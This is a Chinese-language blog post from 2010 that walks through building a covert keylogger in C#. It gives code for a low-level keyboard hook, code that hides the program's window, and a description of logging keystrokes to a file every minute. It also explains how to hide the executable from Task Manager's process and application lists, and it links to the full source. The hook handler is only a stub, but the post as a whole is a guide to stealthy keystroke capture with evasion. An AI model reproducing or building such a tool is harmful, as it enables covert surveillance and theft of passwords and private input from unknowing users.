使用C#做键盘记录器
2010-10-31 15:54 by hackerzhou代码放到SVN上了,地址:http://hackerzhou.googlecode.com/svn/trunk/CSharp/KeyLogger/
主要思路就是通过WH_KEYBOARD_LL这个LowLevel的钩子来获取用户输入(用WH_KEYBOARD不行),但是作用于仅限于WinForm程序,如果新建一个控制台程序就不能通过这个钩子获取用户键盘输入。解决方法很简单,隐藏掉这个Form就行了
this.ClientSize = new System.Drawing.Size(116, 0); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; this.Opacity = 0D; this.ShowIcon = false; this.ShowInTaskbar = false; this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
设置钩子的方法网上有介绍,大致就是引入user32.dll进行钩子的操作
//安装钩子的API
[DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall
, SetLastError = true)]
private static extern int SetWindowsHookEx(int idHook,HookProc lpfn,IntPtr hMod,int dwThreadId);
//移除钩子的API,程序关闭的时候不要忘了移除钩子
[DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall
, SetLastError = true)]
private static extern int UnhookWindowsHookEx(int idHook);
//记录好键盘输入之后还得把这个事件传递到下一个handler中去,否则就视为取消了这个事件
[DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall)]
private static extern int CallNextHookEx(int idHook,int nCode,int wParam,IntPtr lParam);
//用这种方式得到ModuleHandle比较保险
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
//然后设定键盘事件的委托
private delegate int HookProc(int nCode, int wParam, IntPtr lParam);
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
bool handled = false;
//Do your job...
if (handled)
return 1;
else
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
//安装钩子的代码
KeyboardHookProcedure = new HookProc(KeyboardHookProc);
hKeyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
KeyboardHookProcedure,
GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName),
0);
//移除钩子的代码
UnhookWindowsHookEx(hKeyboardHook);
在Form1.cs中我用了一个StringBuffer,每隔一分钟写入当前缓冲到文件中。进行到这一步,大家发现这个键盘记录器已经初具功能了。但是我还想做点隐藏,比如,从任务管理器(taskmgr)中的“应用程序”和“进程”两项隐藏掉exe。在网上发现了一个很土但是能凑效的方法,就是捕获taskmgr进程的窗体,从应用程序和进程这两个标签页中的listview中删除我们指定的exe。大家可以看HideTaskmgrList这个类,我改了一下,原先作者的版本只能隐藏进程,但是在应用程序这里还是能发现蛛丝马迹,我模仿着处理了应用程序这个列表。不过,这个土方法只能使用taskmgr这个进程,如果在命令行下运行tasklist还是会被现出原形。